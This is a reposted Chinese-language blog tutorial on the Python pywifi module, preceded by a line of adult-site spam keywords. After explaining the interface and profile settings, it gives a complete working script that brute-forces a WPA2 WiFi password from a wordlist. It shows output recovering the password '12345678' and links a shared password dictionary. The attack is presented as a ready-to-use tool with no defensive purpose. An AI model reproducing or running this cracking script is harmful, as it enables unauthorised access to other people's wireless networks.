日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > python >内容正文

python

python pywifi模块——暴力破解wifi

發(fā)布時間:2024/8/1 python 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python pywifi模块——暴力破解wifi 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

pywifi模塊介紹:
pywifi提供了一個跨平臺的Python模塊,用于操作無線接口
支持Windows和Linux
在python 2.7和3.5下運行

小小的講解:

1.wifi接口的操作:

這里的接口指我們用來執(zhí)行wifi操作(例如:掃描,連接,斷開…)的接口

通常,我們平臺中只有一個Wi-Fi接口,就像你主機不能同時連接多個wifi(騷操作就算了),因此,使用索引0來獲得Wi-Fi接口

wifi = pywifi.PyWiFi() #定義接口操作 iface = wifi.interfaces()[0] #這里iface就是獲取的wifi接口 #注意:以下的iface全部是指通過此方式獲取的wifi接口,在實際操作中可以自己另外命名

接口名字:

iface.name() #獲取wifi接口名稱

掃描wifi(AP):

iface.scan() #觸發(fā)接口掃描附近wifi(就是AP啦)

獲取掃描結(jié)果:

iface.scan_result() #獲取先前觸發(fā)掃描的結(jié)果,會返回一個列表喲

添加AP配置文件(為了連接):

iface.add_network_profile(配置文件名) #下面會講解如何進行配置

刪除所有AP配置文件(為了下一次新的連接):

iface.remove_all_network_profiles()

返回配置文件列表:

iface.network_profiles() #你連接上wifi的時候可以用這個試試,會返回你連接的wifi的信息

連接wifi:

iface.connect(配置文件名) #通過給定的配置文件連接到指定的AP #注意:添加AP配置文件add_network_profile(profile),應(yīng)該在連接AP iface.connect(profile)之前

斷開AP連接:

iface.disconnect() #斷開當(dāng)前的AP連接

獲取當(dāng)前接口狀態(tài):

iface.status()將返回以下狀態(tài)碼之一(相信大家還是能看懂的,嘿嘿): const.IFACE_DISCONNECTED const.IFACE_SCANNING const.IFACE_INACTIVE const.IFACE_CONNECTING const.IFACE_CONNECTED

2.配置文件:

生成配置文件對象:

profile=pywifi.Profile() #生成對象而已,接下來就能對他進行配置操作了

配置文件的操作方式:

ssid - AP的名稱
auth - AP的認(rèn)證算法
akm - AP的密鑰管理類型
cipher - AP的密碼類型
key (optinoal) - AP的關(guān)鍵。如果無密碼,則應(yīng)該設(shè)置此項CIPHER_TYPE_NONE

使用方式:

profile.ssid='wifi_name' #wifi名稱profile.auth=const.AUTH_OPEN #auth - AP的認(rèn)證算法profile.akm.append(const.AKM_TYPE_WPA2PSK) #選擇wifi加密方式profile.cipher=const.CIPHER_TYPE_CCMP #cipher - AP的密碼類型profile.key=password #wifi密鑰 key (optinoal) - AP的關(guān)鍵。如果無密碼,則應(yīng)該設(shè)置此項CIPHER_TYPE_NONE

必要的說明:
auth - AP的認(rèn)證算法:
也是身份驗證的算法,其實,幾乎所有AP都使用開放算法,盡管我們可以有以下設(shè)置

const.AUTH_ALG_OPEN const.AUTH_ALG_SHARED

akm - AP的密鑰管理類型:

const.AKM_TYPE_NONE #AP沒有安全設(shè)置 const.AKM_TYPE_WPAPSK #AP處于WPA模式 const.AKM_TYPE_WPA2PSK #AP處于WPA2模式AKM_TYPE_WPA和AKM_TYPE_WPA2針對企業(yè)的AP(這里就不解釋了): const.AKM_TYPE_WPA const.AKM_TYPE_WPA2

cipher - AP的密碼類型:

const.CIPHER_TYPE_NONE #如果AP沒有安全設(shè)置,則應(yīng)將密碼類型設(shè)置為ProfileAKM_TYPE_NONE const.CIPHER_TYPE_WEP const.CIPHER_TYPE_TKIP const.CIPHER_TYPE_CCMP #通常情況下設(shè)置為這個,雖然不知道是什么

接下來就要靈活使用上面的操作了

代碼:

(還有點小問題,針對中文wifi名無法破解)

import pywifi from pywifi import const #引用一些定義 import time def testwifi(password):wifi=pywifi.PyWiFi() #抓取WiFi接口ifaces=wifi.interfaces()[0] #一般來說,平臺上只有一個Wi-Fi接口。因此,使用索引0來獲得Wi-Fi接口#print(ifaces.name()) #我們可以試試輸出網(wǎng)卡名稱ifaces.disconnect() #斷開網(wǎng)卡連接profile=pywifi.Profile() #定義配置文件對象profile.ssid='root' #wifi名稱,貌似不能用中文?profile.auth=const.AUTH_ALG_OPEN #auth - AP的認(rèn)證算法profile.akm.append(const.AKM_TYPE_WPA2PSK) #選擇wifi加密方式 akm - AP的密鑰管理類型profile.cipher=const.CIPHER_TYPE_CCMP #cipher - AP的密碼類型profile.key=password #wifi密鑰 如果無密碼,則應(yīng)該設(shè)置此項CIPHER_TYPE_NONEifaces.remove_all_network_profiles() #刪除其他配置文件tmp_profile=ifaces.add_network_profile(profile) #加載配置文件ifaces.connect(tmp_profile) #按配置文件進行連接time.sleep(1) #嘗試幾秒能否成功連接if ifaces.status() == const.IFACE_CONNECTED: #判斷連接狀態(tài)return Trueelse:return Falsedef main():print("start ...")path=r"wordlist.txt"files=open(path,'r')while True:f=files.readline()f = f[:-1] #去除了這行文本的最后一個字符(換行符)后剩下的部分print('[-]正在嘗試:', f)bool=testwifi(f)if bool:print('[+]wifi連接成功!')print("密碼為:",f)breakelse:print("[-]wifi連接失敗!")if not f: #如果文件逐行讀取完,則退出breakfiles.close()if __name__=="__main__":main()

運行結(jié)果:

start ... [-]正在嘗試: %null% [-]wifi連接失敗! [-]正在嘗試: %username% [-]wifi連接失敗! [-]正在嘗試: !@#$%^ [-]wifi連接失敗! [-]正在嘗試: !@#$%^& [-]wifi連接失敗! [-]正在嘗試: !@#$%^&* [-]wifi連接失敗! [-]正在嘗試: 000000 [-]wifi連接失敗!-]正在嘗試: 00000000 [-]wifi連接失敗! [-]正在嘗試: 0123456789 [-]wifi連接失敗! [-]正在嘗試: 12345678 [+]wifi連接成功! 密碼為: 12345678

該代碼在讀取密碼文檔到20行后,會拋出如下錯誤(ERROR Open handle failed!),但并不影響程序運行和結(jié)果:

如果有知道是什么原因的,希望能在評論區(qū)指出,謝謝。

關(guān)于pywifi模塊的官方文檔:https://github.com/awkman/pywifi
另外分享一個我在網(wǎng)上找的密碼字典,看起來還不錯:百度云 密碼字典 提取碼:ntfe

總結(jié)

以上是生活随笔為你收集整理的python pywifi模块——暴力破解wifi的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。